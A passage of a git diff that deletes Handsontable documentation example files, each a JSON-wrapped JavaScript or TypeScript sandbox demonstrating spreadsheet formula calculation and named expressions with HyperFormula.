    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data = [\n ['150', '643', '0.32', '11', '=A1*(B1*C1)+D1'],\n ['172', '474', '0.51', '11', '=A2*(B2*C2)+D2'],\n ['188', '371', '0.59', '11', '=A3*(B3*C3)+D3'],\n ['162', '731', '0.21', '10', '=A4*(B4*C4)+D4'],\n ['133', '682', '0.81', '9', '=A5*(B5*C5)+D5'],\n ['87', '553', '0.66', '10', '=A6*(B6*C6)+D6'],\n ['26', '592', '0.62', '11', '=A7*(B7*C7)+D7'],\n ['110', '461', '0.73', '9', '=A8*(B8*C8)+D8'],\n ['50', '346', '0.52', '15', '=A9*(B9*C9)+D9'],\n ['160', '423', '0.82', '11', '=A10*(B10*C10)+D10'],\n ['30', '216', '0.26', '9', '=A11*(B11*C11)+D11'],\n ['39', '473', '0.44', '5', '=A12*(B12*C12)+D12'],\n ['96', '490', '0.43', '5', '=A13*(B13*C13)+D13'],\n ['108', '176', '0.71', '7', '=A14*(B14*C14)+D14'],\n ['46', '586', '0.01', '14', '=A15*(B15*C15)+D15'],\n ['97', '514', '0.7', '14', '=A16*(B16*C16)+D16'],\n ['161', '717', '0.01', '13', '=A17*(B17*C17)+D17'],\n ['58', '123', '0.4', '8', '=A18*(B18*C18)+D18'],\n ['92', '739', '0.76', '14', '=A19*(B19*C19)+D19'],\n ['5', '320', '0.52', '13', '=A20*(B20*C20)+D20'],\n ['158', '480', '0.65', '5', '=A21*(B21*C21)+D21'],\n ['121', '373', '0.66', '8', '=A22*(B22*C22)+D22'],\n ['61', '704', '0.95', '7', '=A23*(B23*C23)+D23'],\n ['155', '452', '0.71', '10', '=A24*(B24*C24)+D24'],\n ['162', '693', '0.73', '11', '=A25*(B25*C25)+D25'],\n ['46', '75', '0.14', '15', '=A26*(B26*C26)+D26'],\n ['47', '691', '0.58', '15', '=A27*(B27*C27)+D27'],\n ['104', '346', '0.04', '7', '=A28*(B28*C28)+D28'],\n ['101', '717', '0.87', '5', '=A29*(B29*C29)+D29'],\n ['150', '487', '0.26', '15', '=A30*(B30*C30)+D30'],\n ['42', '465', '0.09', '14', '=A31*(B31*C31)+D31'],\n ['144', '337', '0.72', '7', '=A32*(B32*C32)+D32'],\n ['195', '138', '0.3', '6', '=A33*(B33*C33)+D33'],\n ['199', '717', '0.16', '6', '=A34*(B34*C34)+D34'],\n ['110', '236', '0.91', '9', '=A35*(B35*C35)+D35'],\n ['51', '351', '0.81', '13', '=A36*(B36*C36)+D36'],\n ['69', '221', '0.64', '9', '=A37*(B37*C37)+D37'],\n ['53', '125', '0.28', '12', '=A38*(B38*C38)+D38'],\n ['168', '428', '0.68', '9', '=A39*(B39*C39)+D39'],\n ['58', '361', '0.36', '5', '=A40*(B40*C40)+D40'],\n ['152', '213', '0.13', '13', '=A41*(B41*C41)+D41'],\n ['66', '431', '0.93', '10', '=A42*(B42*C42)+D42'],\n ['112', '108', '0.5', '14', '=A43*(B43*C43)+D43'],\n ['50', '127', '0.7', '7', '=A44*(B44*C44)+D44'],\n ['31', '200', '0.15', '14', '=A45*(B45*C45)+D45'],\n ['132', '654', '0.81', '8', '=A46*(B46*C46)+D46'],\n ['45', '438', '0.79', '6', '=A47*(B47*C47)+D47'],\n ['197', '615', '0.63', '7', '=A48*(B48*C48)+D48'],\n ['190', '592', '0.37', '8', '=A49*(B49*C49)+D49'],\n ['184', '419', '0.78', '8', '=A50*(B50*C50)+D50'],\n ['169', '58', '0.13', '7', '=A51*(B51*C51)+D51'],\n ['152', '324', '0.58', '5', '=A52*(B52*C52)+D52'],\n ['182', '713', '0.53', '5', '=A53*(B53*C53)+D53'],\n ['141', '576', '0.63', '12', '=A54*(B54*C54)+D54'],\n ['169', '429', '0.14', '13', '=A55*(B55*C55)+D55'],\n ['39', '694', '0.98', '13', '=A56*(B56*C56)+D56'],\n ['71', '361', '0.3', '13', '=A57*(B57*C57)+D57'],\n ['148', '540', '0.89', '6', '=A58*(B58*C58)+D58'],\n ['116', '52', '0.3', '7', '=A59*(B59*C59)+D59'],\n ['96', '395', '0.28', '7', '=A60*(B60*C60)+D60'],\n ['35', '222', '0.86', '13', '=A61*(B61*C61)+D61'],\n ['16', '430', '0.8', '8', '=A62*(B62*C62)+D62'],\n ['194', '357', '0.72', '9', '=A63*(B63*C63)+D63'],\n ['24', '498', '0.7', '7', '=A64*(B64*C64)+D64'],\n ['170', '142', '0.52', '5', '=A65*(B65*C65)+D65'],\n ['184', '614', '0.68', '9', '=A66*(B66*C66)+D66'],\n ['153', '524', '0.15', '9', '=A67*(B67*C67)+D67'],\n ['88', '620', '0.39', '15', '=A68*(B68*C68)+D68'],\n ['57', '452', '0.11', '6', '=A69*(B69*C69)+D69'],\n ['62', '493', '0.03', '11', '=A70*(B70*C70)+D70'],\n ['123', '431', '0.75', '15', '=A71*(B71*C71)+D71'],\n ['77', '113', '0.63', '12', '=A72*(B72*C72)+D72'],\n ['199', '208', '0.07', '6', '=A73*(B73*C73)+D73'],\n ['149', '514', '0.42', '12', '=A74*(B74*C74)+D74'],\n ['191', '334', '0.78', '13', '=A75*(B75*C75)+D75'],\n ['150', '643', '0.32', '11', '=A76*(B76*C76)+D76'],\n ['130', '721', '0.62', '5', '=A77*(B77*C77)+D77'],\n ['179', '517', '0.1', '8', '=A78*(B78*C78)+D78'],\n ['98', '31', '0.01', '10', '=A79*(B79*C79)+D79'],\n ['175', '509', '0.7', '11', '=A80*(B80*C80)+D80'],\n ['11', '569', '0.37', '7', '=A81*(B81*C81)+D81'],\n ['184', '630', '0.19', '6', '=A82*(B82*C82)+D82'],\n ['27', '165', '0.51', '13', '=A83*(B83*C83)+D83'],\n ['186', '417', '0.85', '15', '=A84*(B84*C84)+D84'],\n ['20', '741', '0.76', '11', '=A85*(B85*C85)+D85'],\n ['153', '640', '0.28', '6', '=A86*(B86*C86)+D86'],\n ['161', '542', '0.43', '14', '=A87*(B87*C87)+D87'],\n ['98', '344', '0.77', '6', '=A88*(B88*C88)+D88'],\n ['30', '400', '0.71', '13', '=A89*(B89*C89)+D89'],\n ['73', '91', '0.78', '8', '=A90*(B90*C90)+D90'],\n ['158', '72', '0.66', '12', '=A91*(B91*C91)+D91'],\n ['122', '35', '0.32', '15', '=A92*(B92*C92)+D92'],\n ['33', '99', '0.92', '9', '=A93*(B93*C93)+D93'],\n ['107', '538', '0.75', '10', '=A94*(B94*C94)+D94'],\n ['15', '563', '0.32', '6', '=A95*(B95*C95)+D95'],\n ['168', '572', '0.71', '6', '=A96*(B96*C96)+D96'],\n ['135', '217', '0.49', '12', '=A97*(B97*C97)+D97'],\n ['11', '595', '0.03', '13', '=A98*(B98*C98)+D98'],\n ['41', '739', '0.88', '11', '=A99*(B99*C99)+D99'],\n ['144', '289', '0.87', '13', '=A100*(B100*C100)+D100'],\n ['Sum', 'Average', 'Average', 'Sum', 'Sum'],\n ['=SUM(A1:A100)', '=AVERAGE(B1:B100)', '=AVERAGE(C1:C100)', '=SUM(D1:D100)', '=SUM(E1:E100)'],\n];\n\nconst container = document.querySelector('#example-data-grid');\n\nnew Handsontable(container, {\n data,\n formulas: {\n engine: HyperFormula,\n },\n colHeaders: ['Qty', 'Unit price', 'Discount', 'Freight', 'Total due (fx)'],\n fixedRowsBottom: 2,\n stretchH: 'all',\n height: 500,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-data-grid.js","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-data-grid","exampleTitle":"Data grid example","docPermalink":"/formula-calculation","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-data-grid.ts.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-data-grid.ts.json deleted file mode 100644 index a0b33d58..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-data-grid.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Formulas ▸ Formula calculation · Data grid example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data: (string | number)[][] = [\n ['150', '643', '0.32', '11', '=A1*(B1*C1)+D1'],\n ['172', '474', '0.51', '11', '=A2*(B2*C2)+D2'],\n ['188', '371', '0.59', '11', '=A3*(B3*C3)+D3'],\n ['162', '731', '0.21', '10', '=A4*(B4*C4)+D4'],\n ['133', '682', '0.81', '9', '=A5*(B5*C5)+D5'],\n ['87', '553', '0.66', '10', '=A6*(B6*C6)+D6'],\n ['26', '592', '0.62', '11', '=A7*(B7*C7)+D7'],\n ['110', '461', '0.73', '9', '=A8*(B8*C8)+D8'],\n ['50', '346', '0.52', '15', '=A9*(B9*C9)+D9'],\n ['160', '423', '0.82', '11', '=A10*(B10*C10)+D10'],\n ['30', '216', '0.26', '9', '=A11*(B11*C11)+D11'],\n ['39', '473', '0.44', '5', '=A12*(B12*C12)+D12'],\n ['96', '490', '0.43', '5', '=A13*(B13*C13)+D13'],\n ['108', '176', '0.71', '7', '=A14*(B14*C14)+D14'],\n ['46', '586', '0.01', '14', '=A15*(B15*C15)+D15'],\n ['97', '514', '0.7', '14', '=A16*(B16*C16)+D16'],\n ['161', '717', '0.01', '13', '=A17*(B17*C17)+D17'],\n ['58', '123', '0.4', '8', '=A18*(B18*C18)+D18'],\n ['92', '739', '0.76', '14', '=A19*(B19*C19)+D19'],\n ['5', '320', '0.52', '13', '=A20*(B20*C20)+D20'],\n ['158', '480', '0.65', '5', '=A21*(B21*C21)+D21'],\n ['121', '373', '0.66', '8', '=A22*(B22*C22)+D22'],\n ['61', '704', '0.95', '7', '=A23*(B23*C23)+D23'],\n ['155', '452', '0.71', '10', '=A24*(B24*C24)+D24'],\n ['162', '693', '0.73', '11', '=A25*(B25*C25)+D25'],\n ['46', '75', '0.14', '15', '=A26*(B26*C26)+D26'],\n ['47', '691', '0.58', '15', '=A27*(B27*C27)+D27'],\n ['104', '346', '0.04', '7', '=A28*(B28*C28)+D28'],\n ['101', '717', '0.87', '5', '=A29*(B29*C29)+D29'],\n ['150', '487', '0.26', '15', '=A30*(B30*C30)+D30'],\n ['42', '465', '0.09', '14', '=A31*(B31*C31)+D31'],\n ['144', '337', '0.72', '7', '=A32*(B32*C32)+D32'],\n ['195', '138', '0.3', '6', '=A33*(B33*C33)+D33'],\n ['199', '717', '0.16', '6', '=A34*(B34*C34)+D34'],\n ['110', '236', '0.91', '9', '=A35*(B35*C35)+D35'],\n ['51', '351', '0.81', '13', '=A36*(B36*C36)+D36'],\n ['69', '221', '0.64', '9', '=A37*(B37*C37)+D37'],\n ['53', '125', '0.28', '12', '=A38*(B38*C38)+D38'],\n ['168', '428', '0.68', '9', '=A39*(B39*C39)+D39'],\n ['58', '361', '0.36', '5', '=A40*(B40*C40)+D40'],\n ['152', '213', '0.13', '13', '=A41*(B41*C41)+D41'],\n ['66', '431', '0.93', '10', '=A42*(B42*C42)+D42'],\n ['112', '108', '0.5', '14', '=A43*(B43*C43)+D43'],\n ['50', '127', '0.7', '7', '=A44*(B44*C44)+D44'],\n ['31', '200', '0.15', '14', '=A45*(B45*C45)+D45'],\n ['132', '654', '0.81', '8', '=A46*(B46*C46)+D46'],\n ['45', '438', '0.79', '6', '=A47*(B47*C47)+D47'],\n ['197', '615', '0.63', '7', '=A48*(B48*C48)+D48'],\n ['190', '592', '0.37', '8', '=A49*(B49*C49)+D49'],\n ['184', '419', '0.78', '8', '=A50*(B50*C50)+D50'],\n ['169', '58', '0.13', '7', '=A51*(B51*C51)+D51'],\n ['152', '324', '0.58', '5', '=A52*(B52*C52)+D52'],\n ['182', '713', '0.53', '5', '=A53*(B53*C53)+D53'],\n ['141', '576', '0.63', '12', '=A54*(B54*C54)+D54'],\n ['169', '429', '0.14', '13', '=A55*(B55*C55)+D55'],\n ['39', '694', '0.98', '13', '=A56*(B56*C56)+D56'],\n ['71', '361', '0.3', '13', '=A57*(B57*C57)+D57'],\n ['148', '540', '0.89', '6', '=A58*(B58*C58)+D58'],\n ['116', '52', '0.3', '7', '=A59*(B59*C59)+D59'],\n ['96', '395', '0.28', '7', '=A60*(B60*C60)+D60'],\n ['35', '222', '0.86', '13', '=A61*(B61*C61)+D61'],\n ['16', '430', '0.8', '8', '=A62*(B62*C62)+D62'],\n ['194', '357', '0.72', '9', '=A63*(B63*C63)+D63'],\n ['24', '498', '0.7', '7', '=A64*(B64*C64)+D64'],\n ['170', '142', '0.52', '5', '=A65*(B65*C65)+D65'],\n ['184', '614', '0.68', '9', '=A66*(B66*C66)+D66'],\n ['153', '524', '0.15', '9', '=A67*(B67*C67)+D67'],\n ['88', '620', '0.39', '15', '=A68*(B68*C68)+D68'],\n ['57', '452', '0.11', '6', '=A69*(B69*C69)+D69'],\n ['62', '493', '0.03', '11', '=A70*(B70*C70)+D70'],\n ['123', '431', '0.75', '15', '=A71*(B71*C71)+D71'],\n ['77', '113', '0.63', '12', '=A72*(B72*C72)+D72'],\n ['199', '208', '0.07', '6', '=A73*(B73*C73)+D73'],\n ['149', '514', '0.42', '12', '=A74*(B74*C74)+D74'],\n ['191', '334', '0.78', '13', '=A75*(B75*C75)+D75'],\n ['150', '643', '0.32', '11', '=A76*(B76*C76)+D76'],\n ['130', '721', '0.62', '5', '=A77*(B77*C77)+D77'],\n ['179', '517', '0.1', '8', '=A78*(B78*C78)+D78'],\n ['98', '31', '0.01', '10', '=A79*(B79*C79)+D79'],\n ['175', '509', '0.7', '11', '=A80*(B80*C80)+D80'],\n ['11', '569', '0.37', '7', '=A81*(B81*C81)+D81'],\n ['184', '630', '0.19', '6', '=A82*(B82*C82)+D82'],\n ['27', '165', '0.51', '13', '=A83*(B83*C83)+D83'],\n ['186', '417', '0.85', '15', '=A84*(B84*C84)+D84'],\n ['20', '741', '0.76', '11', '=A85*(B85*C85)+D85'],\n ['153', '640', '0.28', '6', '=A86*(B86*C86)+D86'],\n ['161', '542', '0.43', '14', '=A87*(B87*C87)+D87'],\n ['98', '344', '0.77', '6', '=A88*(B88*C88)+D88'],\n ['30', '400', '0.71', '13', '=A89*(B89*C89)+D89'],\n ['73', '91', '0.78', '8', '=A90*(B90*C90)+D90'],\n ['158', '72', '0.66', '12', '=A91*(B91*C91)+D91'],\n ['122', '35', '0.32', '15', '=A92*(B92*C92)+D92'],\n ['33', '99', '0.92', '9', '=A93*(B93*C93)+D93'],\n ['107', '538', '0.75', '10', '=A94*(B94*C94)+D94'],\n ['15', '563', '0.32', '6', '=A95*(B95*C95)+D95'],\n ['168', '572', '0.71', '6', '=A96*(B96*C96)+D96'],\n ['135', '217', '0.49', '12', '=A97*(B97*C97)+D97'],\n ['11', '595', '0.03', '13', '=A98*(B98*C98)+D98'],\n ['41', '739', '0.88', '11', '=A99*(B99*C99)+D99'],\n ['144', '289', '0.87', '13', '=A100*(B100*C100)+D100'],\n ['Sum', 'Average', 'Average', 'Sum', 'Sum'],\n ['=SUM(A1:A100)', '=AVERAGE(B1:B100)', '=AVERAGE(C1:C100)', '=SUM(D1:D100)', '=SUM(E1:E100)'],\n];\n\nconst container = document.querySelector('#example-data-grid')!;\n\nnew Handsontable(container, {\n data,\n formulas: {\n engine: HyperFormula,\n },\n colHeaders: ['Qty', 'Unit price', 'Discount', 'Freight', 'Total due (fx)'],\n fixedRowsBottom: 2,\n stretchH: 'all',\n height: 500,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-data-grid.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-data-grid","exampleTitle":"Data grid example","docPermalink":"/formula-calculation","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions1.js.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions1.js.json deleted file mode 100644 index 47c6af0c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Formulas ▸ Formula calculation · Demo: plain-value named expression · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data = [\n ['Travel ID', 'Destination', 'Base price', 'Price with extra cost'],\n ['154', 'Rome', 400, '=ROUND(ADDITIONAL_COST+C2,0)'],\n ['155', 'Athens', 300, '=ROUND(ADDITIONAL_COST+C3,0)'],\n ['156', 'Warsaw', 150, '=ROUND(ADDITIONAL_COST+C4,0)'],\n];\n\nconst container = document.querySelector('#example-named-expressions1');\nconst hot = new Handsontable(container, {\n data,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: HyperFormula,\n namedExpressions: [\n {\n name: 'ADDITIONAL_COST',\n expression: 100,\n },\n ],\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst input = document.getElementById('named-expressions-input');\nconst formulasPlugin = hot.getPlugin('formulas');\nconst button = document.getElementById('named-expressions-button');\n\nbutton.addEventListener('click', () => {\n formulasPlugin.engine?.changeNamedExpression('ADDITIONAL_COST', input.value);\n hot.render();\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-named-expressions1.js","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions1","exampleTitle":"Demo: plain-value named expression","docPermalink":"/formula-calculation","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions1.ts.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions1.ts.json deleted file mode 100644 index 2c2f9cd7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Formulas ▸ Formula calculation · Demo: plain-value named expression · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\nimport { Formulas } from 'handsontable/plugins';\nimport { DetailedSettings } from 'handsontable/plugins/formulas';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data: (string | number)[][] = [\n ['Travel ID', 'Destination', 'Base price', 'Price with extra cost'],\n ['154', 'Rome', 400, '=ROUND(ADDITIONAL_COST+C2,0)'],\n ['155', 'Athens', 300, '=ROUND(ADDITIONAL_COST+C3,0)'],\n ['156', 'Warsaw', 150, '=ROUND(ADDITIONAL_COST+C4,0)'],\n];\n\nconst container = document.querySelector('#example-named-expressions1')!;\n\nconst hot = new Handsontable(container, {\n data,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: HyperFormula,\n namedExpressions: [\n {\n name: 'ADDITIONAL_COST',\n expression: 100,\n },\n ],\n } as DetailedSettings,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst input = document.getElementById('named-expressions-input')!;\nconst formulasPlugin: Formulas = hot.getPlugin('formulas');\nconst button = document.getElementById('named-expressions-button')!;\n\nbutton!.addEventListener('click', () => {\n formulasPlugin.engine?.changeNamedExpression('ADDITIONAL_COST', (input as HTMLInputElement).value);\n hot.render();\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-named-expressions1.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions1","exampleTitle":"Demo: plain-value named expression","docPermalink":"/formula-calculation","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions2.js.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions2.js.json deleted file mode 100644 index 590fb324..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Formulas ▸ Formula calculation · Demo: formula-based named expressions · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// Named expressions that reference cell ranges must be registered after the sheet\n// exists. Pre-build the engine, add the sheet, then add the named expressions.\nconst hfInstance = HyperFormula.buildEmpty({\n licenseKey: 'internal-use-in-handsontable',\n});\n\nhfInstance.addSheet('Sheet1');\nhfInstance.addNamedExpression('Q1_TOTAL', '=SUM(Sheet1!$B$1:$B$3)');\nhfInstance.addNamedExpression('Q2_TOTAL', '=SUM(Sheet1!$C$1:$C$3)');\n\nconst data = [\n ['Widget A', 200, 250],\n ['Widget B', 150, 300],\n ['Widget C', 400, 350],\n ['Totals', '=Q1_TOTAL', '=Q2_TOTAL'],\n];\n\nconst container = document.querySelector('#example-named-expressions2');\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Product', 'Q1 Sales', 'Q2 Sales'],\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hfInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-named-expressions2.js","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions2","exampleTitle":"Demo: formula-based named expressions","docPermalink":"/formula-calculation","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions2.ts.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions2.ts.json deleted file mode 100644 index 13182479..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example-named-expressions2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Formulas ▸ Formula calculation · Demo: formula-based named expressions · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\n// Named expressions that reference cell ranges must be registered after the sheet\n// exists. Pre-build the engine, add the sheet, then add the named expressions.\nconst hfInstance = HyperFormula.buildEmpty({\n licenseKey: 'internal-use-in-handsontable',\n});\n\nhfInstance.addSheet('Sheet1');\nhfInstance.addNamedExpression('Q1_TOTAL', '=SUM(Sheet1!$B$1:$B$3)');\nhfInstance.addNamedExpression('Q2_TOTAL', '=SUM(Sheet1!$C$1:$C$3)');\n\nconst data: (string | number)[][] = [\n ['Widget A', 200, 250],\n ['Widget B', 150, 300],\n ['Widget C', 400, 350],\n ['Totals', '=Q1_TOTAL', '=Q2_TOTAL'],\n];\n\nconst container = document.querySelector('#example-named-expressions2')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Product', 'Q1 Sales', 'Q2 Sales'],\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hfInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-named-expressions2.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions2","exampleTitle":"Demo: formula-based named expressions","docPermalink":"/formula-calculation","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example1.js.json deleted file mode 100644 index b75a04b3..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Formulas ▸ Formula calculation · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm 